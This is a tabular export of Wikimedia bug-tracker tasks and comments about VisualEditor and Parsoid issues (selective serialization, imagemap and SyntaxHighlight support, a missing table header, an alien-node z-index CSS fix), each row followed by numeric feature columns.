45135,VisualEditor: Deleting content between a heading and an alien fails?,"In https://en.wikipedia.org/w/index.php?title=Lynn_Hill&oldid=528045441 (and other versions), go into VE, go to the bottom, delete the list item (and so the list) from the External links section.

ve.instances[0].documentModel.data confirms that the model has this removed - ""/heading"" object followed by the alienated table from the ""{{Authority control}}"" template - but on diff Parsoid thinks that there is no change in this area. Is this is a Parsoid, or is change marking broken (or both)?

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1355510820,1359143154.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.0,0.0,3.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,10.5,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.5,7.5,1.5,3.5,8.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,3.0,1.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,3.8482142857142856,0.7142857142857143,"In URL (and other versions), go into VE, go to the bottom, delete the list item (and so the list) from the External links section.

ve.instances[0].documentModel.data confirms that the model has this removed - ""/heading"" object followed by the alienated table from the ""{{Authority control}}"" template - but on diff Parsoid thinks that there is no change in this area. Is this is a Parsoid, or is change marking broken (or both)?

--------------------------
**Version**: unspecified
**Severity**: normal"
184114,VisualEditor: Deleting content between a heading and an alien fails?,"A few more selser fixes later this should now be fixed. Repeating the test case above certainly suggests it works, so please reopen if there still are issues.",,,1359143154,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-23,,3.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,19.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,4.225806451612903,0.967741935483871,"A few more selser fixes later this should now be fixed. Repeating the test case above certainly suggests it works, so please reopen if there still are issues."
184107,VisualEditor: Deleting content between a heading and an alien fails?,(Needs verification with VE),,,1357343579,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-26,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,(Needs verification with VE)
184100,VisualEditor: Deleting content between a heading and an alien fails?,"Likely fixed by the DOM diffing functionality that landed in https://gerrit.wikimedia.org/r/#/c/41816/. Barring bugs, we now no longer depend on change markers for selective serialization to work.",,,1357343521,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-26,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,18.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,18.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.714285714285714,1.0,"Likely fixed by the DOM diffing functionality that landed in URL Barring bugs, we now no longer depend on change markers for selective serialization to work."
184093,VisualEditor: Deleting content between a heading and an alien fails?,"I believe this ties in directly to what Gabriel is doing, so I'll add him and we can have a big bugzilla CCing party.",,,1355950575,,PHID-USER-nvavrb7ko66hv3xap6sb,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,15.0,11.0,7.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,3.4814814814814814,0.9629629629629629,"I believe this ties in directly to what Gabriel is doing, so I'll add him and we can have a big bugzilla CCing party."
184084,VisualEditor: Deleting content between a heading and an alien fails?,"This is probably a selser (Parsoid) issue. There is no change marking for removals, selser detects these based on DSR discontinuities.

Provisionally CCing Mark, once I get time to investigate this properly and figure out what's going on, I'll move/reassign this bug as appropriate.",,,1355950118,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,16.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,12.0,7.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.2105263157894735,0.8421052631578947,"This is probably a selser (Parsoid) issue. There is no change marking for removals, selser detects these based on DSR discontinuities.

Provisionally CCing Mark, once I get time to investigate this properly and figure out what's going on, I'll move/reassign this bug as appropriate."
45127,Create a VisualEditor plugin tool to add/edit imagemaps,"<imagemap>....</imagemap> is unparsed but shown as plain wikitext:
https://en.wikipedia.org/wiki/User:Raymond/imagemap

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://en.wikipedia.org/wiki/User:Raymond/imagemap",Medium,50.0,1355487780,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-7akqsunetgzvscos7y7g,task_description,open,True,c1,1,False,False,,-29,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.707317073170732,0.5365853658536586,"<imagemap>....</imagemap> is unparsed but shown as plain wikitext:
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
404779,Create a VisualEditor plugin tool to add/edit imagemaps,"> <imagemap>....</imagemap> is unparsed but shown as plain wikitext

Apparently at this point it is shown as an uneditable image.

An imagemap editor seems almost the same use case as an [[ https://commons.wikimedia.org/wiki/Help:Gadget-ImageAnnotator | ImageAnnotator ]] annotation editor.",,,1422606911,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-7akqsunetgzvscos7y7g,task_subcomment,,True,c1,3,False,,,82,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.9722222222222223,0.8055555555555556,"QUOTE

Apparently at this point it is shown as an uneditable image.

An imagemap editor seems almost the same use case as an [[ URL | ImageAnnotator ]] annotation editor."
45126,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Support <syntaxhighlight> tag too. It is a synonym to <source> which works already

https://en.wikipedia.org/wiki/User:Raymond/source

See https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/SyntaxHighlight_GeSHi.git;a=blob;f=SyntaxHighlight_GeSHi.php#l67 for the definiton of the parser hooks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://en.wikipedia.org/wiki/User:Raymond/source",Medium,50.0,1355486220,1435183429.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-q2kd7nc4teibu2d6yujb,task_description,resolved,True,c1,1,False,False,False,-29,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,3.5789473684210527,0.5789473684210527,"Support <syntaxhighlight> tag too. It is a synonym to <source> which works already

URL

See URL for the definiton of the parser hooks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
481148,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Change 214078 merged by jenkins-bot:
Add VisualEditor support

[[https://gerrit.wikimedia.org/r/214078]]",,,1435183387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,False,,,103,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.8888888888888888,"Change 214078 merged by jenkins-bot:
Add VisualEditor support

[[GERRIT_URL]]"
465719,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Change 214078 had a related patch set uploaded (by Jforrester):
Add VE support for syntax highlighting

[[https://gerrit.wikimedia.org/r/214078]]
",,,1432909766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,False,,,99,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.038461538461538,0.8846153846153846,"Change 214078 had a related patch set uploaded (by Jforrester):
Add VE support for syntax highlighting

[[GERRIT_URL]]
"
183514,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Change 114529 had a related patch set uploaded by Jforrester:
[WIP] Add VisualEditor support

https://gerrit.wikimedia.org/r/114529",,,1404758239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.6,1.0,"Change 114529 had a related patch set uploaded by Jforrester:
[WIP] Add VisualEditor support

GERRIT_URL"
183507,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,Re-opening as this is now unmerged.,,,1404758207,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Re-opening as this is now unmerged.
183498,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"This is now complete and merged, as gerrit 68615, and will go out (as an experimental option) to MediaWiki.org tomorrow. Congratulations, Tongbo!",,,1380739351,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,7.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.275862068965517,0.8620689655172413,"This is now complete and merged, as gerrit 68615, and will go out (as an experimental option) to MediaWiki.org tomorrow. Congratulations, Tongbo!"
45104,Parsoid: Second column heading missing of table with template-generated header,"Screenshot showing the regular view, visualeditor view and wikitext

Steps to reproduce problem:
* Open VisualEditor on https://en.wikipedia.org/wiki/Buri_Ram_Airport

Expected result:
Table has header on both columns.

Actual result:
Header of second column is missing.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9595}",Medium,50.0,1355443620,1359417431.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-woqw5jwyjb5eshocsjdw,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,18.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.972972972972973,0.6081081081081081,"Screenshot showing the regular view, visualeditor view and wikitext

Steps to reproduce problem:
* Open VisualEditor on URL

Expected result:
Table has header on both columns.

Actual result:
Header of second column is missing.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9595}"
182240,Parsoid: Second column heading missing of table with template-generated header,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372933991,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-woqw5jwyjb5eshocsjdw,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
182236,Parsoid: Second column heading missing of table with template-generated header,Patch committed for review in https://gerrit.wikimedia.org/r/46465.,,,1359416789,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-woqw5jwyjb5eshocsjdw,task_subcomment,,True,c1,1,True,,,-22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,1.0,Patch committed for review in GERRIT_URL.
182232,Parsoid: Second column heading missing of table with template-generated header,"Appears to be a failed template expansion, so probably a Parsoid bug - Gabriel, thoughts?",,,1357598990,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-woqw5jwyjb5eshocsjdw,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8888888888888888,"Appears to be a failed template expansion, so probably a Parsoid bug - Gabriel, thoughts?"
45098,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"Try editing the page [[:en:Buri_Ram_Airport]] with VisualEditor. Mouse over the infobox. There's an element that sticks above the alien marking, because it has a z-index attribute.

I don't know how best to fix this, I assume it would be bad to simply set z-index=1000 and be on your way, but it's an inconsistent appearance and something to be fixed eventually.

I suspect this may also be a good beginner bug, so if someone from the VE team can mark this as easy, then we can leave it for a newcomer.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://en.wikipedia.org/wiki/Buri_Ram_Airport",Medium,50.0,1355441880,1355696389.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,1.5,0.0,0.5,0.5,5.0,1.5,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.5,2.5,0.0,3.5,7.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,3.5,1.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.5,0.0,10.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.5,0.5,5.5,2.5,8.0,1.5,2.5,7.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,7.0,2.5,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,0.5,0.0,0.5,2.0,3.5393360160965797,0.7300804828973843,"Try editing the page [[:en:Buri_Ram_Airport]] with VisualEditor. Mouse over the infobox. There's an element that sticks above the alien marking, because it has a z-index attribute.

I don't know how best to fix this, I assume it would be bad to simply set z-index=1000 and be on your way, but it's an inconsistent appearance and something to be fixed eventually.

I suspect this may also be a good beginner bug, so if someone from the VE team can mark this as easy, then we can leave it for a newcomer.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
182004,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,Change-Id: I889074a659483ce3d48380be5f50f80abb573286,,,1355696389,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I889074a659483ce3d48380be5f50f80abb573286
181997,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"You guys have no concept of leaving a simple bug for new contributors? :)

Not to worry, I'll go find more. Thanks Rob!",,,1355515857,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.3793103448275863,1.0,"You guys have no concept of leaving a simple bug for new contributors? :)

Not to worry, I'll go find more. Thanks Rob!"
181991,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,Patch in https://gerrit.wikimedia.org/r/38669,,,1355446597,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,Patch in GERRIT_URL
181983,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"The following CSS rule exists:

> .ve-ce-alienBlockNode, .ve-ce-alienInlineNode,
> .ve-ce-alienBlockNode *, .ve-ce-alienInlineNode * {
>   position: relative !important;
>   top: 0 !important;
>   left: 0 !important;
>   bottom: 0 !important;
>   right: 0 !important;
> }

They have position relative, so the z-index within is relative and constraint within the alien.

However that isn't the case. This is because the top node (alienBlockNode, not alienBlockNode *) needs z-index: 0; to complete this feature. It is the combination of z-index: 0; and position: relative; that makes it work.

